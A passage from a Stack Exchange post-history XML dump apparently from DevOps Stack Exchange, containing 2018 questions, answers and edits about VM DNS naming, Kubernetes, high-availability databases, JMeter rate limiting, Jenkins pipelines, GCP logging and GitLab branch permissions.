metric?&#xD;&#xA;&#xD;&#xA;PS: Is this the right place to post this question?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16756" PostHistoryTypeId="2" PostId="5282" RevisionGUID="bbc77da4-259d-4c23-941a-7e29a2b375d7" CreationDate="2018-10-30T12:32:39.870" UserId="10580" Text="Experts, i have a requirement and wanted to find a tool that will be helpful for me.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;We have a inhouse tool, that will help developers request/lease a VM for a short duration of time. When the VM is assigned, i send the developer an email with details of the VM and the application details. I currently use xip.io to send a fully qualified DNS name. Something like this&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;https://omni.54.84.86.26.xip.io&#xD;&#xA;&#xD;&#xA;https://auth.54.84.86.26.xip.io&#xD;&#xA;&#xD;&#xA;https://mgmt.54.84.86.26.xip.io&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This works well, but the feedback that i got from my developers is ,&#xD;&#xA;&#xD;&#xA;    The url is very hard to remember&#xD;&#xA;&#xD;&#xA;    Everytime is request for a VM i get a new URL and i cant bookmark it. it keeps changing everytime.&#xD;&#xA;&#xD;&#xA;I think their concern is valid. One idea to solve this is to create a per defined DNS names with username in it like&#xD;&#xA;&#xD;&#xA;omni-prajan.myorg.com&#xD;&#xA;&#xD;&#xA;admin-prajan.myorg.com&#xD;&#xA;&#xD;&#xA;mgmt-prajan.myorg.com&#xD;&#xA;&#xD;&#xA;where prajan is the username. So everytime i request for a vm, i need to programmatically modify IP that is associated with this domain name in my dns server. We are using AWS now.&#xD;&#xA;&#xD;&#xA;Is there a better way to handle this requirement?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16757" PostHistoryTypeId="1" PostId="5282" RevisionGUID="bbc77da4-259d-4c23-941a-7e29a2b375d7" CreationDate="2018-10-30T12:32:39.870" UserId="10580" Text="DNS server with api access" ContentLicense="CC BY-SA 4.0" />
  <row Id="16758" PostHistoryTypeId="3" PostId="5282" RevisionGUID="bbc77da4-259d-4c23-941a-7e29a2b375d7" CreationDate="2018-10-30T12:32:39.870" UserId="10580" Text="&lt;dns&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16759" PostHistoryTypeId="2" PostId="5283" RevisionGUID="bf3bdeb2-985f-43d5-a890-344fdd4fee05" CreationDate="2018-10-30T18:32:34.853" UserId="4328" Text="As far as I'm aware, there is no universal standard amongst cloud providers. One reason for this is because most cloud providers like to abstract how their backend infrastructure, that their instances run on, is managed. How your instance is ran could change minute by minute depending on the cloud provider. The user doesn't care as long as they are getting the desired computing power that they want. Cloud providers also may not want to divulge their exact infrastructure metrics for proprietary reasons as well. &#xD;&#xA;&#xD;&#xA;Despite these reasons, some cloud providers offer a standard amongst their own virtual instances. These standards are relative to the computing power of each instance type that the provider offers.&#xD;&#xA;&#xD;&#xA;For example, Amazon Web Services uses EC2 Computing Units (ECU) as a metric to compare the approximate computing power in relation to each instance. Comparing two instances types such as an m5.large and an m5.xlarge for example, the m5.large has an ECU of 8 vs the m5.xlarge which has a ECU of 16. The m5.xlarge has roughly double the compute power and therefore double the cost. &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16760" PostHistoryTypeId="5" PostId="688" RevisionGUID="fffa4364-15db-44bb-8c70-508c558b2fa2" CreationDate="2018-10-30T21:29:58.637" UserId="-1" Comment="Corrected typo in the answer" Text="I'd agree this is a buzzword as much as DevOps can be.&#xD;&#xA;&#xD;&#xA;Main task of a SecOps added on top of an usual operational engineer tasks is to take the burden of following CVE publication feeds, handling the remediation, usually handling things historically handled by the security or network administration team (Firewall rules, Web Applications Firewall exceptions)&#xD;&#xA;&#xD;&#xA;If you see a Sysadmin in a Devops org as a sysadmin able to read and be part of the application code, a SecOps would be a sysadmin able to be part of the security rules of the infrastructure around the servers themselves.&#xD;&#xA;&#xD;&#xA;In some structure keeping silos of responsibility (Sales, Business, Dev, Ops, Security, Monitoring), Security Engineer and Operation Engineers are as separated as Developers and Operations Engineers, while not embracing a full DevOps organization, moving to a SecOps model is a first step to reunite two separated team historically closer and less antagonist in the silo based organization. Some people are also more comfortable to add either the operation or security facet in their current job than growing code skills.&#xD;&#xA;&#xD;&#xA;To summarize, I would define SecOps as a first step toward a devops org, aiming at getting a multi-skill team around security/network/operating systems engineers where they are separate teams in an existing department." ContentLicense="CC BY-SA 4.0" />
  <row Id="16761" PostHistoryTypeId="24" PostId="688" RevisionGUID="fffa4364-15db-44bb-8c70-508c558b2fa2" CreationDate="2018-10-30T21:29:58.637" Comment="Proposed by 161.69.7.20|2ad69934-6b0b-4dcb-9da4-c314abb2acbe approved by -1 edit id of 827" ContentLicense="CC BY-SA 4.0" />
  <row Id="16762" PostHistoryTypeId="5" PostId="688" RevisionGUID="0b4460a3-5cc5-47e6-a048-63994a2a5acb" CreationDate="2018-10-30T21:29:58.637" UserId="40" Comment="edited body" Text="I'd agree this is a buzzword as much as DevOps can be.&#xD;&#xA;&#xD;&#xA;Main task of a SecOps added on top of an usual operational engineer tasks is to take the burden of following CVE publication feeds, handling the remediation, usually handling things historically handled by the security or network administration team (Firewall rules, Web Applications Firewall exceptions)&#xD;&#xA;&#xD;&#xA;If you see a Sysadmin in a DevOps org as a sysadmin able to read and be part of the application code, a SecOps would be a sysadmin able to be part of the security rules of the infrastructure around the servers themselves.&#xD;&#xA;&#xD;&#xA;In some structure keeping silos of responsibility (Sales, Business, Dev, Ops, Security, Monitoring), Security Engineer and Operation Engineers are as separated as Developers and Operations Engineers, while not embracing a full DevOps organization, moving to a SecOps model is a first step to reunite two separated team historically closer and less antagonist in the silo based organization. Some people are also more comfortable to add either the operation or security facet in their current job than growing code skills.&#xD;&#xA;&#xD;&#xA;To summarize, I would define SecOps as a first step toward a DevOps org, aiming at getting a multi-skill team around security/network/operating systems engineers where they are separate teams in an existing department." ContentLicense="CC BY-SA 4.0" />
  <row Id="16766" PostHistoryTypeId="2" PostId="5285" RevisionGUID="878fcf31-c45f-49e0-9869-5620cb6d63bc" CreationDate="2018-10-31T00:25:47.523" UserId="10262" Text="This can be done with [docker_registry_image][1]:&#xD;&#xA;&#xD;&#xA;    data &quot;docker_registry_image&quot; &quot;ubuntu&quot; {&#xD;&#xA;      name = &quot;ubuntu:latest&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;docker_image&quot; &quot;ubuntu&quot; {&#xD;&#xA;      name          = &quot;${data.docker_registry_image.ubuntu.name}&quot;&#xD;&#xA;      pull_triggers = [&quot;${data.docker_registry_image.ubuntu.sha256_digest}&quot;]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/providers/docker/d/registry_image.html&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16767" PostHistoryTypeId="2" PostId="5286" RevisionGUID="9d5d1456-797d-4ca5-9d74-86eb398e16b0" CreationDate="2018-10-31T02:51:16.397" UserId="10596" Text="This is something you'd have to build. Kubernetes doesn't natively offer this as a pattern.&#xD;&#xA;&#xD;&#xA;There are a few approached you can take, but a common on is to use a queue that has this functionality. I'd suggest starting with [Nats][1] because it's a CNCF project that is easy to run natively in Kubernetes. When one of your replicas receives the request, it can post a message to the queue that can deliver the message to every subscriber.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://nats.io" ContentLicense="CC BY-SA 4.0" />
  <row Id="16768" PostHistoryTypeId="2" PostId="5287" RevisionGUID="7c27bc38-72fd-4814-a0a2-4d077e57bda2" CreationDate="2018-10-31T02:55:20.860" UserId="10596" Text="Heptio has open sourced a tool called [Theseus](https://github.com/heptiolabs/theseus) to help with this. There's nothing built in to Kubernetes to do this, but check out the Theseus utility, you should be able to write a script to do this." ContentLicense="CC BY-SA 4.0" />
  <row Id="16769" PostHistoryTypeId="2" PostId="5288" RevisionGUID="4354a056-88d7-44c8-af0c-5fdc4532ae8e" CreationDate="2018-10-31T02:57:46.183" UserId="10596" Text="I'm not sure I understand why listing the public endpoints in the ingress is messy. The common solution is to list the ingress endpoints in the ingress controller.&#xD;&#xA;&#xD;&#xA;As you mentioned, there are alternatives such as Istio, Consul and other network policy solutions. There's also the Open Policy Agent that can help with this, if you don't want to write YAML." ContentLicense="CC BY-SA 4.0" />
  <row Id="16770" PostHistoryTypeId="2" PostId="5289" RevisionGUID="1048d691-1b90-4d1f-a75c-5faa5a53c0b3" CreationDate="2018-10-31T03:10:47.573" UserId="10595" Text="With modern techniques, it's relatively trivial to create a clustered, high-availability solution for webservers by using docker (or comparable) to handle the front-end serving of pages to users.&#xD;&#xA;&#xD;&#xA;e.g. for a LAMP stack, docker would handle the &quot;A&quot; and &quot;P&quot; parts.&#xD;&#xA;&#xD;&#xA;Is there any way to make the database (e.g. mysql) work in a similar high-availability system with docker or comparable." ContentLicense="CC BY-SA 4.0" />
  <row Id="16771" PostHistoryTypeId="1" PostId="5289" RevisionGUID="1048d691-1b90-4d1f-a75c-5faa5a53c0b3" CreationDate="2018-10-31T03:10:47.573" UserId="10595" Text="How to create high availability databases?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16772" PostHistoryTypeId="3" PostId="5289" RevisionGUID="1048d691-1b90-4d1f-a75c-5faa5a53c0b3" CreationDate="2018-10-31T03:10:47.573" UserId="10595" Text="&lt;docker&gt;&lt;high-availability&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16773" PostHistoryTypeId="50" PostId="4404" RevisionGUID="d9626983-483d-4d37-bb9e-88dd436275d7" CreationDate="2018-10-31T08:00:30.727" UserId="-1" />
  <row Id="16774" PostHistoryTypeId="2" PostId="5290" RevisionGUID="1d4d472a-83d9-4ce9-a655-fa6b5db492d2" CreationDate="2018-10-31T08:16:49.643" UserId="10599" Text="There are docker images for running opensource databases in high availability mode such as https://info.crunchydata.com/blog/an-easy-recipe-for-creating-a-postgresql-cluster-with-docker-swarm&#xA;&#xA;You can also find examples of Microsoft SQLServer container for Linux being run with high availability on Kubernetes https://docs.microsoft.com/en-us/sql/linux/tutorial-sql-server-containers-kubernetes&#xA;&#xA;Your question is missing an important concept from the devops perspective. If we run a particular version of a database (MySQL, PostresQL, SQLServer) on either a physical server, or a VMware ESX virtual machine server, or an openstack zen virtual server, or in Docker in a laptop or in an http://cri-o.io container runtime in Kubernetes it’s “the same software”. If the high availability is based on running two or three instances of the database, and them opening tcp sockets to exchange data, and perform leader failover, then as “it’s the same software” it doesn’t matter whether we are running the database cluster as physical, or on a virtual machine hypervisor, or in a container orchestrator. That means you can learn how to configure the software for HA as containers on your laptop to be able to then be able to configure it for HA on physical servers. &#xA;&#xA;Obviously you might get different performance on different hardware or virtual machines or container runtimes. Typically  it’s disk bandwidth and memory that makes the biggest difference for a database not how the process is being run (within reason). Yet from the perspective of making a high availability setup if the software you are using to only needs normal disk and normal tcp connections you can expect it to work anywhere that lets you access disk and network. It is then a matter of making sure that you provide enough cpu, memory, disk and network of sufficient reliability to meet your NFR and SLA. &#xA;&#xA;A lot of companies might setup virtual machine farms or container orchestrators while not thinking about the demands of relational databases running in high availability modes. For example if you configure a HA setup of two Postgres instances but they get placed in two different virtual machine on the same physics host then you have a very poor setup. If you configure all disk to be NAS network drives then that might be fine to run application servers but terrible to run databases under load. Often people are only thinking about scaling up application servers and having many of them crash and restart on different machines as the aim without the same disk being attached at startup. Anyone trying to run a database cluster in such an environment is going to have many sleepless nights. This means it’s important to ensure that wherever you run your databases is sympathetic to the needs of databases to have relative stability are not configuring and operating everything as being optimised for stateless application server workloads that are not fussy about being moved around and restarted at random. " ContentLicense="CC BY-SA 4.0" />
  <row Id="16776" PostHistoryTypeId="2" PostId="5291" RevisionGUID="d9a3f36d-2f08-4572-9225-3c581be14583" CreationDate="2018-10-31T09:46:18.407" UserId="354" Text="I am using Jmeter to investigate the performance and capacity needs of a few web services. Jmeter sends traffic to the web-facing url, with a rising rate, to see where the service fails. At the moment, this traffic is generated using a single machine, in the CI/CD pipeline.&#xD;&#xA;&#xD;&#xA;Before I can really stress the resources, the web server is responding with [HTTP 429](https://http.cat/429)&#xD;&#xA;&#xD;&#xA;Is there a way to set data in the header or something to force each connection to be seen as new, instead of being banned by the server?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16777" PostHistoryTypeId="1" PostId="5291" RevisionGUID="d9a3f36d-2f08-4572-9225-3c581be14583" CreationDate="2018-10-31T09:46:18.407" UserId="354" Text="Jmeter simulating traffic and avoiding 429" ContentLicense="CC BY-SA 4.0" />
  <row Id="16778" PostHistoryTypeId="3" PostId="5291" RevisionGUID="d9a3f36d-2f08-4572-9225-3c581be14583" CreationDate="2018-10-31T09:46:18.407" UserId="354" Text="&lt;testing&gt;&lt;resilience-testing&gt;&lt;http&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16779" PostHistoryTypeId="2" PostId="5292" RevisionGUID="b3aa22a2-454e-488d-8f79-f0e8c07fd86f" CreationDate="2018-10-31T10:53:49.150" UserId="10550" Text="I want to use `when` on `branch` condition. The Jenkinsfile is like this&#xD;&#xA;&#xD;&#xA;     stages{&#xD;&#xA;            stage('Checkout project branch master'){&#xD;&#xA;                steps{             &#xD;&#xA;                    withCredentials([sshUserPrivateKey(credentialsId: 'credential', keyFileVariable: 'CREDENTIAL')]) {}&#xD;&#xA;                    git branch: 'develop', credentialsId: 'credential', url: 'git@bitbucket.org:user/demopipelinejenkinsfile.git'&#xD;&#xA;                }&#xD;&#xA;            }   &#xD;&#xA;            stage('develop'){&#xD;&#xA;                 steps {&#xD;&#xA;                       echo 'on branch develop`&#xD;&#xA;                 }&#xD;&#xA;            }&#xD;&#xA;            stage('any_branch'){                  &#xD;&#xA;                 environment {&#xD;&#xA;                       GIT_BRANCH = sh(returnStdout: true, script: 'git rev-parse --abbrev-ref HEAD').trim()&#xD;&#xA;                       }&#xD;&#xA;                 steps{&#xD;&#xA;                       echo &quot;${env.GIT_BRANCH}&quot;&#xD;&#xA;                      }&#xD;&#xA;            }&#xD;&#xA;     }&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;The console output shows that the stage `develop` is skipped due to condition. However, the last stage still echoes the current branch is &quot;develop&quot;&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;How to use `when` with `branch` in **Pipeline** project (not **Multibranch** project)" ContentLicense="CC BY-SA 4.0" />
  <row Id="16780" PostHistoryTypeId="1" PostId="5292" RevisionGUID="b3aa22a2-454e-488d-8f79-f0e8c07fd86f" CreationDate="2018-10-31T10:53:49.150" UserId="10550" Text="Jenkins Pipeline project can't when on branch" ContentLicense="CC BY-SA 4.0" />
  <row Id="16781" PostHistoryTypeId="3" PostId="5292" RevisionGUID="b3aa22a2-454e-488d-8f79-f0e8c07fd86f" CreationDate="2018-10-31T10:53:49.150" UserId="10550" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16786" PostHistoryTypeId="5" PostId="5291" RevisionGUID="56476b87-59fe-41a6-826a-9c94b63e64e5" CreationDate="2018-10-31T13:40:14.127" UserId="354" Comment="specified nginx" Text="I am using Jmeter to investigate the performance and capacity needs of a few web services. Jmeter sends traffic to the web-facing url (served by Nginx), with a rising rate, to see where the service fails. At the moment, this traffic is generated using a single machine, in the CI/CD pipeline.&#xD;&#xA;&#xD;&#xA;Before I can really stress the resources, the web server is responding with [HTTP 429](https://http.cat/429)&#xD;&#xA;&#xD;&#xA;Is there a way to set data in the header or something to force each connection to be seen as new, instead of being banned by the server?&#xD;&#xA;&#xD;&#xA;Edit : specified that the http server is nginx" ContentLicense="CC BY-SA 4.0" />
  <row Id="16788" PostHistoryTypeId="2" PostId="5294" RevisionGUID="cc0c9a28-d525-4c0b-bd81-18b31d0785aa" CreationDate="2018-10-31T13:56:36.360" UserId="354" Text="Given that this is symptomatic of rate limiting in Nginx in this case, the solution is to configure the [rate limiting feature of Nginx to allow this](https://www.nginx.com/blog/rate-limiting-nginx/)&#xD;&#xA;&#xD;&#xA;A whitelist could  be created in the configuration to remove ratelimiting from the url generating the traffic." ContentLicense="CC BY-SA 4.0" />
  <row Id="16795" PostHistoryTypeId="5" PostId="5290" RevisionGUID="e5c9c7f0-c0c3-4466-8e1d-6d8065956d35" CreationDate="2018-10-31T17:41:05.740" UserId="10599" Comment="added 148 characters in body; edited body; deleted 10 characters in body; added 2 characters in body" Text="There are docker images for running opensource databases in high availability mode such as https://info.crunchydata.com/blog/an-easy-recipe-for-creating-a-postgresql-cluster-with-docker-swarm&#xA;&#xA;You can also find examples of Microsoft SQLServer container for Linux being run with high availability on Kubernetes https://docs.microsoft.com/en-us/sql/linux/tutorial-sql-server-containers-kubernetes&#xA;&#xA;Your question is missing an important concept from the devops perspective. If we run a particular version of a database (MySQL, PostresQL, SQLServer) on either a physical server, or a VMware ESX virtual machine server, or an openstack Xen virtual server, or in Docker in a laptop or in an http://cri-o.io container runtime in Kubernetes it’s “the same software”. If the high availability is based on running two or three instances of the database, and them opening tcp sockets to exchange data, and perform leader failover, then as “it’s the same software” it doesn’t matter whether we are running the database cluster as physical, or on a virtual machine hypervisor, or in a container orchestrator. That means you can learn how to configure the software for HA as containers on your laptop to then know how to configure it for HA on physical servers. &#xA;&#xA;Obviously you might get different performance on different hardware or virtual machines or container runtimes. Typically  it’s disk bandwidth and memory that makes the biggest difference for a database not how the process is being run (within reason). Yet from the perspective of making a high availability setup if the software you are using to only needs normal disk and normal tcp connections you can expect it to work anywhere that lets you access disk and network. It is then a matter of making sure that you provide enough cpu, memory, disk and network of sufficient reliability to meet your NFRs and SLAs.&#xA;&#xA;A lot of companies might setup virtual machine farms or container orchestrators while not thinking about the demands of relational databases running in high availability modes. For example if you configure a HA setup of two Postgres instances but they get placed in two different virtual machine on the same physical server then you have a very poor setup with respect to the likelihood of one machine fault killing both database servers. If you configure all disk to be NAS network drives then that might be fine to run application servers but terrible to run databases under load. Often people are only thinking about scaling up application servers and having many of them crash and restart on different machines as the aim without the same disk being attached at startup. Anyone trying to run a database cluster in such an environment is going to have many sleepless nights. This means it’s important to ensure that wherever you run your databases is sympathetic to the needs of databases to have relative stability. If the environment is optimised and operating as though everything hosted is a stateless application server workloads that is not fussy about being moved around and restarted at random you might regret setting up a database cluster there. " ContentLicense="CC BY-SA 4.0" />
  <row Id="16796" PostHistoryTypeId="2" PostId="5295" RevisionGUID="514afc25-e82b-4078-93bd-e53f85ba4b34" CreationDate="2018-10-31T18:32:25.327" UserId="10599" Text="This is a bit of an alternative and indirect  answer. As it suggests using infrastructure-as-code best practices to avoid environments getting out of sync I believe people will find it a helpful alternative suggestion. &#xA;&#xA;Prevention is better than cure. Don't let the namespaces get out of sync by treating your configuration as code and manage it via git. [Helm][1] is a package manager for Kubernetes configuration. It can handle arbitrary configuration objects such as Openshift extensions. This let's you setup a deployment pipeline and a git workflow that ensures your environments stay in sync. &#xA;&#xA;By way of an example in our setup we have a Helm chart that just installs configmaps and another that just installs secrets. The actual values to install are passed in as a parameter like `my-app-secret-values.yaml`. So we have different yaml values all under git and a deploy script that iterates over them applying the helm chart that loads the values and updates the corresponding configmap or secret. Helm reads, compares, and only writes when something has changed. So the deploy script will result in only changing a secret or config map that has changed in git. All the configuration is under git and managed as code. Syncing configuration between environments can then be managed just like promotion of code. As a bonus helm createa a backup every version of every object it changes stored inside of Kubernetes. If let's you list the prior versions and rollback to a previous configuration. Also as everything is deployed from git all the history of all settings in all namespaces can be seen in git. &#xA;&#xA;We also install and run out main applications as traditional Helm charts that are promoted through environments. Those helm charts reference the configmaps and secrets that are separately deployed when we want to adjust the settings in a given environment. Helm also has dependency management features that we haven't had to use yet as things work well running a business using the approaches outlined above. &#xA;&#xA;  [1]: https://helm.sh" ContentLicense="CC BY-SA 4.0" />
  <row Id="16797" PostHistoryTypeId="2" PostId="5296" RevisionGUID="6893f60c-80c3-4cb7-bf40-e8303140230b" CreationDate="2018-10-31T18:52:55.063" UserId="10599" Text="We use Helm to manage our Openshift cluster as it manages openshift specific objects as well as Kubernetes. This answer gives a detailed overview https://devops.stackexchange.com/questions/4662/what-is-the-recommended-way-to-monitor-differences-between-multiple-kubernetes-n/5295#5295&#xA;&#xA;Helm is covered on the official openshift blogs. In my experience Openshift is open in terms of supporting good tools the community come up with. You can adopt the tooling that fits your needs. " ContentLicense="CC BY-SA 4.0" />
  <row Id="16801" PostHistoryTypeId="2" PostId="5298" RevisionGUID="41700aa7-43fa-4f0d-b7b5-abdaa882a545" CreationDate="2018-10-31T21:34:12.483" UserId="10608" Text="Not sure if you sorted this out, but I had to do something similar to get who started the instance so I can badger them into stopping the instance if they are not using it. I put together a Logging query:&#xD;&#xA;&#xD;&#xA;`resource.type = gce_instance AND (jsonPayload.event_subtype = compute.instances.start OR jsonPayload.event_subtype = compute.instances.insert ) AND jsonPayload.event_type = GCE_OPERATION_DONE AND timestamp &gt;= &quot;2018-10-29T14:28:34-07:00&quot; AND jsonPayload.actor.user!=&quot;&quot; AND jsonPayload.resource.name=my-sweet-instance-name`&#xD;&#xA;&#xD;&#xA;And here is the nodejs function I put together to get it:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    const Logging   = require( '@google-cloud/logging' );&#xD;&#xA;    const moment    = require( 'moment' );&#xD;&#xA;    &#xD;&#xA;    const logging   = new Logging( );&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    var getStartInfo = function( instanceName, querySince, cb ) {&#xD;&#xA;    &#xD;&#xA;        var tstart = ( querySince ? querySince : moment( ).subtract( 48, 'hours' ).format( ) ); // &#xD;&#xA;    &#xD;&#xA;        var theLogFilter = 'resource.type = gce_instance AND ' +&#xD;&#xA;            '(jsonPayload.event_subtype = compute.instances.start OR jsonPayload.event_subtype = compute.instances.insert ) AND ' +&#xD;&#xA;            'jsonPayload.event_type = GCE_OPERATION_DONE AND ' +&#xD;&#xA;            'timestamp &gt;= &quot;' + tstart + '&quot; AND ' +&#xD;&#xA;            'jsonPayload.actor.user!=&quot;&quot; AND ' +&#xD;&#xA;            'jsonPayload.resource.name=' + instanceName;&#xD;&#xA;    &#xD;&#xA;        logging.getEntries( {&#xD;&#xA;            filter: theLogFilter,&#xD;&#xA;            autoPaginate: false&#xD;&#xA;        }, ( err, entries, nextQuery, apiResponse ) =&gt; {&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;            if ( err ) {&#xD;&#xA;                console.log( &quot;ERROR: &quot; + err );&#xD;&#xA;                cb( err );&#xD;&#xA;                return;&#xD;&#xA;            }&#xD;&#xA;    &#xD;&#xA;            var item, startedBy, startTime, runningTime, mostRecentStart;&#xD;&#xA;    &#xD;&#xA;            //console.log( 'Entries: ' + JSON.stringify( entries ) );&#xD;&#xA;            // Mabye if none found, we try again with a longer querySince?&#xD;&#xA;            if ( entries.length == 0 ) {&#xD;&#xA;    &#xD;&#xA;                console.log( &quot;\nNo log entries found for instance '&quot; + instanceName + &quot;'. Filter:&quot; );&#xD;&#xA;                console.log( theLogFilter );&#xD;&#xA;                cb( &quot;No entries found&quot; );&#xD;&#xA;                return;&#xD;&#xA;            }&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;            // Are these sorted by time?&#xD;&#xA;            for ( var i = 0; i &lt; entries.length; i++ ) {&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;                startedBy = entries[ i ].metadata.jsonPayload.fields.actor.structValue.fields.user.stringValue;&#xD;&#xA;                startTime = entries[ i ].metadata.jsonPayload.fields.event_timestamp_us.stringValue / 1000; // This is nano seconds since epoch&#xD;&#xA;            &#xD;&#xA;            }&#xD;&#xA;    &#xD;&#xA;            if ( cb )&#xD;&#xA;                cb( null, { &quot;startedBy&quot;: startedBy, &quot;startTime&quot;: moment( startTime ).format() } );&#xD;&#xA;    &#xD;&#xA;        } );&#xD;&#xA;    &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Hopefully that helps someone because it was a good bit of work to put together." ContentLicense="CC BY-SA 4.0" />
  <row Id="16802" PostHistoryTypeId="50" PostId="4508" RevisionGUID="30d61976-6d20-4e0e-9c10-f08a8e8d2255" CreationDate="2018-11-01T10:00:00.153" UserId="-1" />
  <row Id="16803" PostHistoryTypeId="2" PostId="5299" RevisionGUID="bfbb93d9-3996-45ba-a915-357dfde9c92a" CreationDate="2018-11-01T10:16:00.943" UserId="10374" Text="Azure DevOps supports artifact filters for each environment. Below is screenshot of how to enable the feature.&#xD;&#xA;&#xD;&#xA;[![Azure DevOps supports Artifact Filters in Environments][1]][1]&#xD;&#xA;[1]: https://i.stack.imgur.com/oAwV6.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="16804" PostHistoryTypeId="2" PostId="5300" RevisionGUID="228dec73-c4d6-4799-ab37-39b3995af96b" CreationDate="2018-11-01T11:39:14.843" UserId="10617" Text="I am currently working on a LaTeX template. I chose gitlab to host the template.&#xA;&#xA;Now I want to give some colleagues access to my template, but only to the master branch. I use the other branches to write my personal documents based on the template.&#xA;&#xA;Is it possible to set the master branch to public while the other branches remain private?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16805" PostHistoryTypeId="1" PostId="5300" RevisionGUID="228dec73-c4d6-4799-ab37-39b3995af96b" CreationDate="2018-11-01T11:39:14.843" UserId="10617" Text="How to make one branch public while the others remain private on GitLab?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16806" PostHistoryTypeId="3" PostId="5300" RevisionGUID="228dec73-c4d6-4799-ab37-39b3995af96b" CreationDate="2018-11-01T11:39:14.843" UserId="10617" Text="&lt;git&gt;&lt;gitlab&gt;&lt;configuration&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16807" PostHistoryTypeId="2" PostId="5301" RevisionGUID="00b8e20a-aa85-4419-9128-163e0749e4d3" CreationDate="2018-11-01T12:02:27.303" UserId="9655" Text="Git does not have branch specific permissions." ContentLicense="CC BY-SA 4.0" />
  <row Id="16811" PostHistoryTypeId="5" PostId="5301" RevisionGUID="127329b1-1274-4f97-b2a2-336b834b694c" CreationDate="2018-11-01T12:52:48.430" UserId="9655" Comment="added 160 characters in body" Text="Git does not have branch specific permissions.&#xD;&#xA;&#xD;&#xA;For branch specific permissions, you need a server-side authorization layer like Gitolite — obviously, this requires you to be managing your own Git server." ContentLicense="CC BY-SA 4.0" />
  <row Id="16812" PostHistoryTypeId="2" PostId="5303" RevisionGUID="13978ef4-e00c-48d7-821f-42ae7402c27b" CreationDate="2018-11-01T14:19:11.940" UserId="1202" Text="I'm not an expert in GitLab but I would assume it to be similar to other solutions like it (bitbucket, github).&#xD;&#xA;&#xD;&#xA;A simple way to achieve this would be to clone the repo in another private repo instead of doing a separate branch.  In effect this would work similar to having your local repo and the gitlab repo.  Merging a branch and merging with another repo is not much different with git" ContentLicense="CC BY-SA 4.0" />
  <row Id="16813" PostHistoryTypeId="5" PostId="5270" RevisionGUID="fd2df3d7-f663-4932-8d29-af7fefba0610" CreationDate="2018-11-01T14:26:22.630" UserId="6905" Comment="updated code formatting" Text="I want the Jenkins agent to **build** and **start** the server.&#xD;&#xA;&#xD;&#xA;I do this by specifying how to build and start the server in the *Build* step of the project configuration in **Bash**&#xD;&#xA;&#xD;&#xA;    echo &quot;Installing dependencies&quot;&#xD;&#xA;    npm install&#xD;&#xA;    echo &quot;Starting server&quot;&#xD;&#xA;    ./startscript.sh 3000 &amp; #this script will start the server with specified port&#xD;&#xA;&#xD;&#xA;**Why the ampsersand in `/startscript.sh 3000 &amp;`?**&#xD;&#xA;&#xD;&#xA;I notice that without the ampersand `&amp;` in the last command, the server is started as expected (I can access it from browser). However, the Jenkins build hangs and cannot finish (because the script starts the server and won't return until the server is terminated).&#xD;&#xA;&#xD;&#xA;So I tried to fix this with adding the ampersand to make the script process runs in background. With this, Jenkins job successfully ends the build.&#xD;&#xA;&#xD;&#xA;**But adding the ampersand still doesn't fix**&#xD;&#xA;The server process is still terminated (it actually started because I checked the log and saw that it was started). I think that this might be because when Jenkins finishes building, it exits the shell and sends the **SIGHUP** to attached background jobs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Adding nohub still doesn't fix**&#xD;&#xA;&#xD;&#xA;Running the last command with `nohup ./startscript.sh 3000 &amp;` still doesn't fix the bug.&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;How to make the agent build then start the server.&#xD;&#xA;&#xD;&#xA;**Note**&#xD;&#xA;&#xD;&#xA;The console output of Jenkins builds shows both the command and the output of it (like the behaviour of the -x flag of the shell). And the last command was shown like this:&#xD;&#xA;&#xD;&#xA;    + nohup ./startscript.sh 3000&#xD;&#xA;    Finished: SUCCESS&#xD;&#xA;&#xD;&#xA;It doesn't show the ampersand `&amp;`... So I don't know if the ampersand was actually correctly interpreted during the run. &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16814" PostHistoryTypeId="24" PostId="5270" RevisionGUID="fd2df3d7-f663-4932-8d29-af7fefba0610" CreationDate="2018-11-01T14:26:22.630" Comment="Proposed by 6905 approved by -1 edit id of 829" ContentLicense="CC BY-SA 4.0" />
